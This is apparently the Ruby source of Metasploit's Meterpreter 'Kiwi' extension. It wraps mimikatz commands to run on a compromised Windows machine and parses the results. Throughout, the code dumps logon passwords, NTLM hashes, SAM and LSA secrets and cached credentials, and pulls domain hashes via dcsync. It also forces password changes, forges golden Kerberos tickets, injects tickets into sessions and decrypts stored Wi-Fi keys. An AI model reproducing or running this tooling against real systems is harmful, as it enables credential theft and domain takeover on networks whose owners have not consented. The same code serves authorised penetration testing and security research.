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# -*- coding: binary -*-
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require 'rex/post/meterpreter/extensions/kiwi/tlv'
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require 'rex/post/meterpreter/extensions/kiwi/command_ids'
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require 'rexml/document'
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require 'set'
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module Rex
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module Post
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module Meterpreter
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module Extensions
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module Kiwi
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###
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#
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# Kiwi extension - grabs credentials from windows memory.
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#
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# Benjamin DELPY `gentilkiwi`
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# http://blog.gentilkiwi.com/mimikatz
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#
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# extension converted by OJ Reeves (TheColonial)
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###
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class Kiwi < Extension
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  def self.extension_id
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    EXTENSION_ID_KIWI
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  end
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  #
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  # Typical extension initialization routine.
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  #
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  # @param client (see Extension#initialize)
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  def initialize(client)
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    super(client, 'kiwi')
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    client.register_extension_aliases(
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      [
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        {
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          'name' => 'kiwi',
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          'ext'  => self
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        },
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      ])
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    # by default, we want all output in base64, so fire that up
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    # first so that everything uses this down the track
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    exec_cmd('"base64 /in:on /out:on"')
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  end
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  def exec_cmd(cmd)
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    request = Packet.create_request(COMMAND_ID_KIWI_EXEC_CMD)
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    request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
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    response = client.send_request(request)
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    output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
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    # remove the banner up to the prompt
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    output = output[output.index('mimikatz(powershell) #') + 1, output.length]
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    # return everything past the newline from here
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    output[output.index("\n") + 1, output.length]
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  end
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  def password_change(opts)
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    cmd = "lsadump::changentlm /user:#{opts[:user]}"
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    cmd << " /server:#{opts[:server]}" if opts[:server]
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    cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
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    cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
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    cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
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    cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
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    output = exec_cmd("\"#{cmd}\"")
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    result = {}
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    if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
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      result[:old] = $1
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    end
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    if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
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      result[:new] = $1
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    end
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    if output =~ /^ERROR/m
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      result[:success] = false
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      if output =~ /^ERROR.*SamConnect/m
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        result[:error] = 'Invalid server.'
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      elsif output =~ /^ERROR.*Bad old/m
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        result[:error] = 'Invalid old password or hash.'
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      elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
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        result[:error] = 'Invalid user.'
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      else
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        result[:error] = 'Unknown error.'
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      end
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    else
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      result[:success] = true
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    end
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    result
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  end
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  def dcsync(domain_user)
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    exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
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  end
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  def dcsync_ntlm(domain_user)
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    result = {
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      ntlm: '<NOT FOUND>',
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      lm: '<NOT FOUND>',
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      sid: '<NOT FOUND>',
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      rid: '<NOT FOUND>'
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    }
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    output = dcsync(domain_user)
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    return nil unless output.include?('Object RDN')
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    output.lines.map(&:strip).each do |l|
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      if l.start_with?('Hash NTLM: ')
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        result[:ntlm] = l.split(' ')[-1]
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      elsif l.start_with?('lm  - 0:')
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        result[:lm] = l.split(' ')[-1]
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      elsif l.start_with?('Object Security ID')
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        result[:sid] = l.split(' ')[-1]
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      elsif l.start_with?('Object Relative ID')
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        result[:rid] = l.split(' ')[-1]
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      end
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    end
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    result
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  end
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  def lsa_dump_secrets
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    exec_cmd('lsadump::secrets')
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  end
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  def lsa_dump_sam
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    exec_cmd('lsadump::sam')
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  end
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  def lsa_dump_cache
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    exec_cmd('lsadump::cache')
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  end
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  def get_debug_privilege
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    exec_cmd('privilege::debug').strip == "Privilege '20' OK"
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  end
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  def creds_ssp
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    { ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }
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  end
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  def creds_livessp
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    { livessp: parse_livessp(exec_cmd('sekurlsa::livessp')) }
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  end
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  def creds_msv
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    { msv: parse_msv(exec_cmd('sekurlsa::msv')) }
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  end
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  def creds_wdigest
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    { wdigest: parse_wdigest(exec_cmd('sekurlsa::wdigest')) }
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  end
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  def creds_tspkg
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    { tspkg: parse_tspkg(exec_cmd('sekurlsa::tspkg')) }
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  end
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  def creds_kerberos
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    { kerberos: parse_kerberos(exec_cmd('sekurlsa::kerberos')) }
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  end
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  def creds_all
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    output = exec_cmd('sekurlsa::logonpasswords')
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    {
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      msv: parse_msv(output),
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      ssp: parse_ssp(output),
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      livessp: parse_livessp(output),
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      wdigest: parse_wdigest(output),
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      tspkg: parse_tspkg(output),
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      kerberos: parse_kerberos(output)
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    }
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  end
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  # TODO make sure this works as expected
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  def parse_livessp(output)
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    results = {}
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    lines = output.lines
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    while lines.length > 0 do
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      line = lines.shift
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      # search for an livessp line
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      next if line !~ /\slivessp\s:/
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      line = lines.shift
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      # are there interesting values?
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      while line =~ /\[\d+\]/
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        line = lines.shift
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        # then the next 3 lines should be interesting
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        livessp = {}
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        3.times do
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          k, v = read_value(line)
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          livessp[k.strip] = v if k
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          line = lines.shift
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        end
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        if livessp.length > 0
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          results[livessp.values.join('|')] = livessp
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        end
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      end
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    end
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    results.values
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  end
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  def parse_ssp(output)
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    results = {}
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    lines = output.lines
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    while lines.length > 0 do
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      line = lines.shift
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      # search for an ssp line
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      next if line !~ /\sssp\s:/
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      line = lines.shift
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      # are there interesting values?
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      while line =~ /\[\d+\]/
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        line = lines.shift
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        # then the next 3 lines should be interesting
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        ssp = {}
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        3.times do
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          k, v = read_value(line)
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          ssp[k.strip] = v if k
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          line = lines.shift
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        end
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        if ssp.length > 0
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          results[ssp.values.join('|')] = ssp
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        end
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      end
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    end
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    results.values
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  end
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  def parse_wdigest(output)
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    results = {}
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    lines = output.lines
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    while lines.length > 0 do
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      line = lines.shift
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      # search for an wdigest line
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      next if line !~ /\swdigest\s:/
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      line = lines.shift
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      # are there interesting values?
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      next if line.blank? || line !~ /\s*\*/
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      # no, the next 3 lines should be interesting
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      wdigest = {}
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      3.times do
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        k, v = read_value(line)
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        wdigest[k.strip] = v if k
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        line = lines.shift
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      end
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      if wdigest.length > 0
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        results[wdigest.values.join('|')] = wdigest
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      end
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    end
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    results.values
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  end
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  def parse_tspkg(output)
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    results = {}
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    lines = output.lines
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    while lines.length > 0 do
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      line = lines.shift
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      # search for an tspkg line
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      next if line !~ /\stspkg\s:/
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      line = lines.shift
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      # are there interesting values?
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      next if line.blank? || line !~ /\s*\*/
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      # no, the next 3 lines should be interesting
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      tspkg = {}
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      3.times do
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        k, v = read_value(line)
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        tspkg[k.strip] = v if k
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        line = lines.shift
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      end
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      if tspkg.length > 0
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        results[tspkg.values.join('|')] = tspkg
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      end
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    end
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    results.values
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  end
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  def parse_kerberos(output)
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    results = {}
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    lines = output.lines
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    while lines.length > 0 do
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      line = lines.shift
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      # search for an kerberos line
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      next if line !~ /\skerberos\s:/
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      line = lines.shift
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      # are there interesting values?
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      next if line.blank? || line !~ /\s*\*/
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      # no, the next 3 lines should be interesting
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      kerberos = {}
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      3.times do
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        k, v = read_value(line)
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        kerberos[k.strip] = v if k
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        line = lines.shift
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      end
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      if kerberos.length > 0
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        results[kerberos.values.join('|')] = kerberos
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      end
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    end
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    results.values
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  end
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  def parse_msv(output)
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    results = {}
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    lines = output.lines
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    while lines.length > 0 do
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      line = lines.shift
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      # search for an MSV line
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      next if line !~ /\smsv\s:/
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      line = lines.shift
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      # loop until we find the 'Primary' entry
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      while line !~ / Primary/ && !line.blank?
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        line = lines.shift
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      end
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      # did we find something?
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      next if line.blank?
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      msv = {}
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      # loop until we find a line that doesn't start with
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      # an asterisk, as this is the next credential set
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      loop do
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        line = lines.shift
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        if line.strip.start_with?('*')
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          k, v = read_value(line)
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          msv[k.strip] = v if k
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        else
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          lines.unshift(line)
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          break
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        end
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      end
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      if msv.length > 0
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        results[msv.values.join('|')] = msv
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      end
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    end
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    results.values
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  end
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  def read_value(line)
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    if line =~ /\s*\*\s([^:]*):\s(.*)/
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      return $1, $2
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    end
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    return nil, nil
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  end
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  #
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  # List available kerberos tickets.
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  #
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  # @return [String]
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  #
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  def kerberos_ticket_list
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    exec_cmd('kerberos::list')
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  end
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  #
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  # Use the given ticket in the current session.
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  #
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  # @param base64_ticket [String] Content of the Kerberos ticket to use as a Base64 encoded string.
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  # @return [void]
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  #
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  def kerberos_ticket_use(base64_ticket)
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    result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")
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    result.strip.end_with?(': OK')
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  end
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  #
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  # Purge any Kerberos tickets that have been added to the current session.
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  #
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  # @return [void]
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  #
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  def kerberos_ticket_purge
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    result = exec_cmd('kerberos::purge').strip
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    'Ticket(s) purge for current session is OK' == result
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  end
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  #
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  # Create a new golden kerberos ticket on the target machine and return it.
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  #
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  # @param opts [Hash] The options to use when creating a new golden kerberos ticket.
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  # @option opts [String] :domain_name Domain name.
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  # @option opts [String] :domain_sid SID of the domain.
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  # @option opts [Integer] :end_in How long to have the ticket last, in hours.
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  # @option opts [Array<Integer>] :group_ids IDs of the groups to assign to the user
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  # @option opts [Integer] :id ID of the user to grant the token for.
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  # @option opts [String] :krbtgt_hash The kerberos ticket granting token.
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  # @option opts [String] :user Name of the user to create the ticket for.
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  #
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  # @return [Array<Byte>]
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  #
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  def golden_ticket_create(opts={})
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    cmd = [
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      "\"kerberos::golden /user:",
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      opts[:user],
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      " /domain:",
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      opts[:domain_name],
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      " /sid:",
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      opts[:domain_sid],
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      " /startoffset:0",
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      " /endin:",
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      opts[:end_in] * 60,
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      " /krbtgt:",
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      opts[:krbtgt_hash],
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      "\""
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    ].join('')
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    if opts[:id]
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      cmd << " /id:" + opts[:id].to_s
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    end
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    if opts[:group_ids]
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      cmd << " /groups:" + opts[:group_ids]
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    end
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    output = exec_cmd(cmd)
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    return nil unless output.include?('Base64 of file')
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    saving = false
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    content = []
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    output.lines.map(&:strip).each do |l|
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      if l.start_with?('Base64 of file')
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        saving = true
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      elsif saving
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        if l.start_with?('====')
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          next if content.length == 0
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          break
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        end
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        content << l
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      end
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    end
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    content.join('')
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  end
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  #
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  # Access and parse a set of wifi profiles using the given interfaces
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  # list, which contains the list of profile xml files on the target.
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  #
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  # @return [Hash]
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  def wifi_parse_shared(wifi_interfaces)
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    results = []
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    exec_cmd('"base64 /in:off /out:on"')
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    wifi_interfaces.keys.each do |key|
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      interface = {
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        :guid     => key,
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        :desc     => nil,
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        :state    => nil,
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        :profiles => []
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      }
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      wifi_interfaces[key].each do |wifi_profile_path|
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        cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\""
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        output = exec_cmd(cmd)
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        lines = output.lines
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        profile = {
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          :name        => nil,
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          :auth        => nil,
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          :key_type    => nil,
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          :shared_key  => nil
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        }
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506
        while lines.length > 0 do
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          line = lines.shift.strip
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          if line =~ /^\* SSID name\s*: (.*)$/
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            profile[:name] = $1
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          elsif line =~ /^\* Authentication\s*: (.*)$/
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            profile[:auth] = $1
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          elsif line =~ /^\* Key Material\s*: (.*)$/
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            profile[:shared_key] = $1
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          end
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        end
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        interface[:profiles] << profile
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      end
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      results << interface
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    end
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    exec_cmd('"base64 /in:on /out:on"')
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    results
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  end
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  #
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  # List all the wifi interfaces and the profiles associated
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  # with them. Also show the raw text passwords for each.
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  #
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  # @return [Array<Hash>]
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  def wifi_list
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    response_xml = exec_cmd('misc::wifi')
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    results = []
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    # TODO: check for XXE?
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    doc = REXML::Document.new(response_xml)
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    doc.get_elements('wifilist/interface').each do |i|
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      interface = {
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        :guid     => Rex::Text::to_guid(i.elements['guid'].text),
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        :desc     => i.elements['description'].text,
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        :state    => i.elements['state'].text,
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        :profiles => []
544
      }
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      i.get_elements('profiles/WLANProfile').each do |p|
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        interface[:profiles] << {
548
          :name        => p.elements['name'].text,
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          :auth        => p.elements['MSM/security/authEncryption/authentication'].text,
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          :key_type    => p.elements['MSM/security/sharedKey/keyType'].text,
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          :shared_key  => p.elements['MSM/security/sharedKey/keyMaterial'].text
552
        }
553
      end
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      results << interface
556
    end
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    return results
559
  end
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end
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end; end; end; end; end
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